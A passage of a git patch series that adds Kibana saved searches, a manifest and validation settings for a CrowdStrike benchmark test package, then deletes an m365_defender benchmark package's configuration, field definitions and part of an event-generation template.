diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json
new file mode 100644
index 0000000000..e28e095fce
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json
@@ -0,0 +1,50 @@
+{
+    "attributes": {
+        "columns": [
+            "vulnerability.id",
+            "vulnerability.score.base",
+            "crowdstrike.vulnerability.cve.impact_score",
+            "crowdstrike.vulnerability.cve.exploitability_score",
+            "crowdstrike.vulnerability.suppression_info.is_suppressed",
+            "crowdstrike.vulnerability.cve.exprt_rating",
+            "message"
+        ],
+        "description": "",
+        "grid": {
+            "columns": {}
+        },
+        "hideChart": false,
+        "isTextBasedQuery": false,
+        "kibanaSavedObjectMeta": {
+            "searchSourceJSON": {
+                "filter": [],
+                "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index",
+                "query": {
+                    "language": "kuery",
+                    "query": ""
+                }
+            }
+        },
+        "sort": [
+            [
+                "@timestamp",
+                "desc"
+            ]
+        ],
+        "timeRestore": false,
+        "title": "Vulnerability Essential Details [Logs Crowdstrike]"
+    },
+    "coreMigrationVersion": "8.8.0",
+    "created_at": "2025-03-08T11:24:15.268Z",
+    "id": "crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c",
+    "managed": true,
+    "references": [
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.index",
+            "type": "index-pattern"
+        }
+    ],
+    "type": "search",
+    "typeMigrationVersion": "10.5.0"
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json
new file mode 100644
index 0000000000..bdafff838c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json
@@ -0,0 +1,194 @@
+{
+    "attributes": {
+        "columns": [
+            "event.action",
+            "observer.address",
+            "host.hostname"
+        ],
+        "description": "",
+        "grid": {
+            "columns": {
+                "event.action": {
+                    "width": 210
+                },
+                "observer.address": {
+                    "width": 197
+                }
+            }
+        },
+        "hideChart": false,
+        "isTextBasedQuery": false,
+        "kibanaSavedObjectMeta": {
+            "searchSourceJSON": {
+                "filter": [
+                    {
+                        "$state": {
+                            "store": "appState"
+                        },
+                        "meta": {
+                            "alias": null,
+                            "disabled": false,
+                            "field": "data_stream.dataset",
+                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+                            "key": "data_stream.dataset",
+                            "negate": false,
+                            "params": {
+                                "query": "crowdstrike.fdr"
+                            },
+                            "type": "phrase"
+                        },
+                        "query": {
+                            "match_phrase": {
+                                "data_stream.dataset": "crowdstrike.fdr"
+                            }
+                        }
+                    },
+                    {
+                        "$state": {
+                            "store": "appState"
+                        },
+                        "meta": {
+                            "alias": null,
+                            "disabled": false,
+                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index",
+                            "negate": false,
+                            "params": [
+                                {
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "event.action",
+                                        "index": "logs-*",
+                                        "key": "event.action",
+                                        "negate": false,
+                                        "type": "exists",
+                                        "value": "exists"
+                                    },
+                                    "query": {
+                                        "exists": {
+                                            "field": "event.action"
+                                        }
+                                    }
+                                },
+                                {
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "event.kind",
+                                        "index": "logs-*",
+                                        "key": "event.kind",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "event.kind": "alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "relation": "AND",
+                            "type": "combined"
+                        },
+                        "query": {}
+                    },
+                    {
+                        "$state": {
+                            "store": "appState"
+                        },
+                        "meta": {
+                            "alias": null,
+                            "disabled": false,
+                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[2].meta.index",
+                            "negate": false,
+                            "params": [
+                                {
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "host.hostname",
+                                        "index": "logs-*",
+                                        "key": "host.hostname",
+                                        "negate": false,
+                                        "type": "exists",
+                                        "value": "exists"
+                                    },
+                                    "query": {
+                                        "exists": {
+                                            "field": "host.hostname"
+                                        }
+                                    }
+                                },
+                                {
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "observer.address",
+                                        "index": "logs-*",
+                                        "key": "observer.address",
+                                        "negate": false,
+                                        "type": "exists",
+                                        "value": "exists"
+                                    },
+                                    "query": {
+                                        "exists": {
+                                            "field": "observer.address"
+                                        }
+                                    }
+                                }
+                            ],
+                            "relation": "OR",
+                            "type": "combined"
+                        },
+                        "query": {}
+                    }
+                ],
+                "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index",
+                "query": {
+                    "language": "kuery",
+                    "query": "data_stream.dataset :\"crowdstrike.fdr\" "
+                }
+            }
+        },
+        "sort": [
+            [
+                "@timestamp",
+                "desc"
+            ]
+        ],
+        "timeRestore": false,
+        "title": "[Crowdstrike] Newest FDR Alerts",
+        "usesAdHocDataView": false
+    },
+    "coreMigrationVersion": "8.8.0",
+    "created_at": "2025-03-01T10:24:07.905Z",
+    "id": "crowdstrike-9b99d190-8214-11ee-bae0-937af575b750",
+    "managed": true,
+    "references": [
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.index",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[2].meta.index",
+            "type": "index-pattern"
+        }
+    ],
+    "type": "search",
+    "typeMigrationVersion": "10.5.0"
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json
new file mode 100644
index 0000000000..890773caa9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json
@@ -0,0 +1,99 @@
+{
+    "attributes": {
+        "columns": [
+            "crowdstrike.event.Category",
+            "event.action",
+            "message"
+        ],
+        "description": "",
+        "grid": {},
+        "hideChart": false,
+        "isTextBasedQuery": false,
+        "kibanaSavedObjectMeta": {
+            "searchSourceJSON": {
+                "filter": [
+                    {
+                        "$state": {
+                            "store": "appState"
+                        },
+                        "meta": {
+                            "alias": null,
+                            "disabled": false,
+                            "field": "data_stream.dataset",
+                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+                            "key": "data_stream.dataset",
+                            "negate": false,
+                            "params": {
+                                "query": "crowdstrike.falcon"
+                            },
+                            "type": "phrase"
+                        },
+                        "query": {
+                            "match_phrase": {
+                                "data_stream.dataset": "crowdstrike.falcon"
+                            }
+                        }
+                    },
+                    {
+                        "$state": {
+                            "store": "appState"
+                        },
+                        "meta": {
+                            "alias": null,
+                            "disabled": false,
+                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index",
+                            "key": "crowdstrike.event.Category",
+                            "negate": false,
+                            "params": {
+                                "query": "Incidents"
+                            },
+                            "type": "phrase"
+                        },
+                        "query": {
+                            "match_phrase": {
+                                "crowdstrike.event.Category": "Incidents"
+                            }
+                        }
+                    }
+                ],
+                "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index",
+                "query": {
+                    "language": "kuery",
+                    "query": "data_stream.dataset : \"crowdstrike.falcon\""
+                }
+            }
+        },
+        "sort": [
+            [
+                "@timestamp",
+                "desc"
+            ]
+        ],
+        "timeRestore": false,
+        "title": "[Crowdstrike] Newest Falcon Incidents",
+        "usesAdHocDataView": false
+    },
+    "coreMigrationVersion": "8.8.0",
+    "created_at": "2025-03-01T10:24:07.905Z",
+    "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750",
+    "managed": true,
+    "references": [
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.index",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index",
+            "type": "index-pattern"
+        }
+    ],
+    "type": "search",
+    "typeMigrationVersion": "10.5.0"
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml
new file mode 100644
index 0000000000..47f20a8f55
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml
@@ -0,0 +1,4 @@
+- text: Security Solution
+  asset_types:
+    - dashboard
+    - search
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
new file mode 100644
index 0000000000..28f0be4d22
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
@@ -0,0 +1,105 @@
+name: crowdstrike
+title: CrowdStrike
+version: "3.12.0"
+description: Collect logs from Crowdstrike with Elastic Agent.
+type: integration
+format_version: "3.4.0"
+categories: [security, edr_xdr]
+conditions:
+  kibana:
+    version: "^8.18.0 || ^9.0.0"
+policy_templates:
+  - name: crowdstrike
+    title: CrowdStrike
+    description: Collect events and data from CrowdStrike Falcon
+    deployment_modes:
+      default:
+        enabled: true
+      agentless:
+        enabled: true
+        organization: security
+        division: engineering
+        team: security-service-integrations
+    inputs:
+      - type: logfile
+        title: Collect Falcon events and FDR logs through file system
+        description: Collect Falcon events from the SIEM Connector and Falcon Data Replicator (FDR) logs through the file system.
+      - type: cel
+        title: Collect data using the CrowdStrike REST API
+        description: Collect CrowdStrike Falcon data (alerts, hosts, vulnerabilities) using the REST API.
+        vars:
+          - name: client_id
+            type: text
+            title: Client ID
+            description: Client ID for the CrowdStrike API.
+            multi: false
+            required: true
+            show_user: true
+          - name: client_secret
+            type: password
+            title: Client Secret
+            description: Client Secret for the CrowdStrike API.
+            multi: false
+            required: true
+            show_user: true
+            secret: true
+          - name: url
+            type: text
+            title: URL
+            description: Base URL of the CrowdStrike API. Defaults to https://api.crowdstrike.com
+            default: https://api.crowdstrike.com
+            required: true
+            show_user: true
+          - name: token_url
+            type: text
+            title: Token URL
+            description: CrowdStrike API token URL.
+            default: https://api.crowdstrike.com/oauth2/token
+            required: true
+            show_user: false
+          - name: proxy_url
+            type: text
+            title: Proxy URL
+            multi: false
+            required: false
+            show_user: false
+            description: URL to proxy connections in the form of http[s]://<user>:<password>@<server name/ip>:<port>. Ensure your username and password are in URL encoded format.
+          - name: proxy_headers
+            type: yaml
+            title: Proxy headers
+            multi: false
+            required: false
+            show_user: false
+            description: This specifies the headers to be sent to the proxy server.
+          - name: ssl
+            type: yaml
+            title: SSL Configuration
+            description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details.
+            multi: false
+            required: false
+            show_user: false
+            default: |
+              #certificate_authorities:
+              #  - |
+              #    -----BEGIN CERTIFICATE-----
+              #    MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF
+              #    ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2
+              #    MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB
+              #    BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n
+              #    fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl
+              #    94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t
+              #    /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP
+              #    PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41
+              #    CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O
+              #    BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux
+              #    8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D
+              #    874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw
+              #    3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA
+              #    H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu
+              #    8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0
+              #    yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
+              #    sxSmbIUfc2SGJGCJD4I=
+              #    -----END CERTIFICATE-----
+owner:
+  github: elastic/security-service-integrations
+  type: elastic
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml
new file mode 100644
index 0000000000..ab145056ed
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml
@@ -0,0 +1,7 @@
+errors:
+  exclude_checks:
+    - SVR00001 # Saved query, but no filter.
+    - SVR00002
+    - SVR00004 # Saved search not allowed?
+    - SVR00005 # Kibana version for saved tags.
+    - JSE00001 # Array lists not recognised.

From b2f9968e1705d413744da166a5a9364e2fd756c7 Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Wed, 25 Mar 2026 19:10:54 +0530
Subject: [PATCH 14/19] Remove m365_defender package

---
 .../_dev/benchmark/system/alert-benchmark.yml |   30 -
 .../system/alert-benchmark/config.yml         |  136 -
 .../system/alert-benchmark/fields.yml         |  128 -
 .../system/alert-benchmark/template.ndjson    |   59 -
 .../deploy/docker/alert-http-mock-config.yml  |   61 -
 .../system/deploy/docker/docker-compose.yml   |   16 -
 .../_dev/benchmark/system/deploy/tf/env.yml   |    5 -
 .../system/deploy/tf/files/sample.log         |   20 -
 .../_dev/benchmark/system/deploy/tf/main.tf   |    5 -
 .../benchmark/system/deploy/tf/variables.tf   |   26 -
 .../_dev/benchmark/system/tf-benchmark.yml    |   20 -
 .../benchmark/system/tf-benchmark/config.yml  |   39 -
 .../benchmark/system/tf-benchmark/fields.yml  |   18 -
 .../system/tf-benchmark/template.log          |    1 -
 .../_dev/build/build.yml                      |    3 -
 .../_dev/build/docs/README.md                 |    6 -
 .../changelog.yml                             |  643 ----
 .../alert/agent/stream/httpjson.yml.hbs       |   76 -
 .../elasticsearch/ingest_pipeline/default.yml | 2860 -----------------
 .../data_stream/alert/fields/base-fields.yml  |   20 -
 .../data_stream/alert/fields/beats.yml        |    6 -
 .../data_stream/alert/fields/fields.yml       |  506 ---
 .../data_stream/alert/manifest.yml            |   89 -
 .../data_stream/alert/sample_event.json       |  193 --
 .../logfile/agent/stream/filestream.yml.hbs   |    4 -
 .../elasticsearch/ingest_pipeline/default.yml |   21 -
 .../logfile/fields/base-fields.yml            |   29 -
 .../data_stream/logfile/fields/fields.yml     |    6 -
 .../data_stream/logfile/manifest.yml          |   31 -
 .../docs/README.md                            |    6 -
 .../manifest.yml                              |  234 --
 31 files changed, 5297 deletions(-)
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md
 delete mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml

diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml
deleted file mode 100644
index b9bd2a5ab3..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml
+++ /dev/null
@@ -1,30 +0,0 @@
----
-description: Benchmark 100000 alert events ingested
-input: httpjson
-deployer: docker
-vars:
-  login_url: http://svc-m365-defender-alert-http:8082
-  client_id: xxxx
-  client_secret: xxxx
-  tenant_id: tenant_id
-data_stream:
-  name: alert
-  vars:
-    request_url: http://svc-m365-defender-alert-http:8082
-    preserve_original_event: true
-    preserve_duplicate_custom_fields: true
-    include_unknown_enum_members: true
-warmup_time_period: 2s
-benchmark_time_period: 1m
-corpora:
-  input_service:
-    name: m365-defender-alert-http
-  generator:
-    total_events: 100000
-    template:
-      path: ./alert-benchmark/template.ndjson
-      type: gotext
-    config:
-      path: ./alert-benchmark/config.yml
-    fields:
-      path: ./alert-benchmark/fields.yml 
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml
deleted file mode 100644
index 1a8f9d906b..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml
+++ /dev/null
@@ -1,136 +0,0 @@
-- name: id
-  cardinality: 100000
-- name: providerAlertId
-  cardinality: 100000
-- name: incidentId
-  cardinality: 100000
-- name: status
-  enum:
-    - active
-    - new
-    - resolved
-- name: severity
-  enum:
-    - low
-    - high
-    - medium
-    - critical
-    - informational
-- name: classification
-  cardinality: 100000
-- name: determination
-  cardinality: 100000
-- name: serviceSource
-  cardinality: 100000
-- name: detectionSource
-  cardinality: 100000
-- name: productName
-  cardinality: 100000
-- name: detectorId
-  cardinality: 100000
-- name: tenantId
-  cardinality: 100000
-- name: title
-  cardinality: 100000
-- name: description
-  cardinality: 100000
-- name: recommendedActions
-  cardinality: 100000
-- name: category
-  cardinality: 100000
-- name: assignedTo
-  cardinality: 100000
-- name: alertWebUrl
-  cardinality: 100000
-- name: incidentWebUrl
-  cardinality: 100000
-- name: actorDisplayName
-  cardinality: 100000
-- name: threatDisplayName
-  cardinality: 100000
-- name: threatFamilyName
-  cardinality: 100000
-- name: mitreTechniques
-  cardinality: 100000
-- name: createdDateTime
-  period: -24h
-- name: lastUpdateDateTime
-  period: -24h
-- name: resolvedDateTime
-  period: -24h
-- name: firstActivityDateTime
-  period: -24h
-- name: lastActivityDateTime
-  period: -24h
-- name: alertPolicyId
-  cardinality: 100000
-- name: additionalData
-  cardinality: 100000
-- name: comments
-  cardinality: 100000
-- name: evidence.internetMessageId
-  cardinality: 100000
-- name: evidence.networkMessageId
-  cardinality: 100000
-- name: evidence.senderIp
-  cardinality: 100000
-- name: evidence.@odata.type
-  cardinality: 100000
-- name: evidence.createdDateTime
-  period: -24h
-- name: evidence.verdict
-  cardinality: 100000
-- name: evidence.remediationStatus
-  cardinality: 100000
-- name: evidence.remediationStatusDetails
-  cardinality: 100000
-- name: evidence.roles
-  cardinality: 100000
-- name: evidence.detailedRoles
-  cardinality: 100000
-- name: evidence.tags
-  cardinality: 100000
-- name: evidence.firstSeenDateTime
-  period: -24h
-- name: evidence.mdeDeviceId
-  cardinality: 100000
-- name: evidence.azureAdDeviceId
-  cardinality: 100000
-- name: evidence.deviceDnsName
-  cardinality: 100000
-- name: evidence.osPlatform
-  cardinality: 100000
-- name: evidence.osBuild
-  cardinality: 100000
-  range:
-    min: 10
-    max: 10000
-- name: evidence.version
-  cardinality: 100000
-- name: evidence.healthStatus
-  cardinality: 100000
-- name: evidence.riskScore
-  cardinality: 100000
-- name: evidence.rbacGroupId
-  cardinality: 100000
-  range:
-    min: 10
-    max: 10000
-- name: evidence.rbacGroupName
-  cardinality: 100000
-- name: evidence.onboardingStatus
-  cardinality: 100000
-- name: evidence.defenderAvStatus
-  cardinality: 100000
-- name: evidence.ipInterfaces
-  cardinality: 100000
-- name: evidence.vmMetadata
-  cardinality: 100000
-- name: evidence.loggedOnUsers.accountName
-  cardinality: 100000
-- name: evidence.loggedOnUsers.domainName
-  cardinality: 100000
-- name: '@odata.context'
-  cardinality: 100000
-- name: value
-  cardinality: 100000
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml
deleted file mode 100644
index f8179a5bd8..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml
+++ /dev/null
@@ -1,128 +0,0 @@
-- name: id
-  type: keyword
-- name: providerAlertId
-  type: keyword
-- name: incidentId
-  type: keyword
-- name: status
-  type: keyword
-- name: severity
-  type: keyword
-- name: classification
-  type: keyword
-- name: determination
-  type: keyword
-- name: serviceSource
-  type: keyword
-- name: detectionSource
-  type: keyword
-- name: productName
-  type: keyword
-- name: detectorId
-  type: keyword
-- name: tenantId
-  type: keyword
-- name: title
-  type: keyword
-- name: description
-  type: keyword
-- name: recommendedActions
-  type: keyword
-- name: category
-  type: keyword
-- name: assignedTo
-  type: keyword
-- name: alertWebUrl
-  type: keyword
-- name: incidentWebUrl
-  type: keyword
-- name: actorDisplayName
-  type: keyword
-- name: threatDisplayName
-  type: keyword
-- name: threatFamilyName
-  type: keyword
-- name: mitreTechniques
-  type: keyword
-- name: createdDateTime
-  type: date
-- name: lastUpdateDateTime
-  type: date
-- name: resolvedDateTime
-  type: date
-- name: firstActivityDateTime
-  type: date
-- name: lastActivityDateTime
-  type: date
-- name: alertPolicyId
-  type: keyword
-- name: additionalData
-  type: keyword
-- name: comments
-  type: keyword
-- name: evidence
-  type: group
-  fields:
-  - name: internetMessageId
-    type: keyword
-  - name: networkMessageId
-    type: keyword
-  - name: senderIp
-    type: keyword
-  - name: '@odata.type'
-    type: keyword
-  - name: createdDateTime
-    type: date
-  - name: verdict
-    type: keyword
-  - name: remediationStatus
-    type: keyword
-  - name: remediationStatusDetails
-    type: keyword
-  - name: roles
-    type: keyword
-  - name: detailedRoles
-    type: keyword
-  - name: tags
-    type: keyword
-  - name: firstSeenDateTime
-    type: date
-  - name: mdeDeviceId
-    type: keyword
-  - name: azureAdDeviceId
-    type: keyword
-  - name: deviceDnsName
-    type: keyword
-  - name: osPlatform
-    type: keyword
-  - name: osBuild
-    type: long
-  - name: version
-    type: keyword
-  - name: healthStatus
-    type: keyword
-  - name: riskScore
-    type: keyword
-  - name: rbacGroupId
-    type: long
-  - name: rbacGroupName
-    type: keyword
-  - name: onboardingStatus
-    type: keyword
-  - name: defenderAvStatus
-    type: keyword
-  - name: ipInterfaces
-    type: keyword
-  - name: vmMetadata
-    type: keyword
-  - name: loggedOnUsers
-    type: group
-    fields:
-    - name: accountName
-      type: keyword
-    - name: domainName
-      type: keyword
-- name: '@odata.context'
-  type: keyword
-- name: value
-  type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson
deleted file mode 100644
index fee57311fe..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson
+++ /dev/null
@@ -1,59 +0,0 @@
-{{- $id := generate "id" -}}
-{{- $providerAlertId := generate "providerAlertId" -}}
-{{- $incidentId := generate "incidentId" -}}
-{{- $status := generate "status" -}}
-{{- $severity := generate "severity" -}}
-{{- $classification := generate "classification" -}}
-{{- $determination := generate "determination" -}}
-{{- $serviceSource := generate "serviceSource" -}}
-{{- $detectionSource := generate "detectionSource" -}}
-{{- $productName := generate "productName" -}}
-{{- $detectorId := generate "detectorId" -}}
-{{- $tenantId := generate "tenantId" -}}
-{{- $title := generate "title" -}}
-{{- $description := generate "description" -}}
-{{- $recommendedActions := generate "recommendedActions" -}}
-{{- $category := generate "category" -}}
-{{- $assignedTo := generate "assignedTo" -}}
-{{- $alertWebUrl := generate "alertWebUrl" -}}
-{{- $incidentWebUrl := generate "incidentWebUrl" -}}
-{{- $actorDisplayName := generate "actorDisplayName" -}}
-{{- $threatDisplayName := generate "threatDisplayName" -}}
-{{- $threatFamilyName := generate "threatFamilyName" -}}
-{{- $mitreTechniques := generate "mitreTechniques" -}}
-{{- $createdDateTime := generate "createdDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
-{{- $lastUpdateDateTime := generate "lastUpdateDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
-{{- $resolvedDateTime := generate "resolvedDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
-{{- $firstActivityDateTime := generate "firstActivityDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
-{{- $lastActivityDateTime := generate "lastActivityDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
-{{- $alertPolicyId := generate "alertPolicyId" -}}
-{{- $additionalData := generate "additionalData" -}}
-{{- $comments := generate "comments" -}}
-{{- $evidenceInternetmessageid := generate "evidence.internetMessageId" -}}
-{{- $evidenceNetworkmessageid := generate "evidence.networkMessageId" -}}
-{{- $evidenceSenderip := generate "evidence.senderIp" -}}
-{{- $evidenceCreateddatetime := generate "evidence.createdDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
-{{- $evidenceVerdict := generate "evidence.verdict" -}}
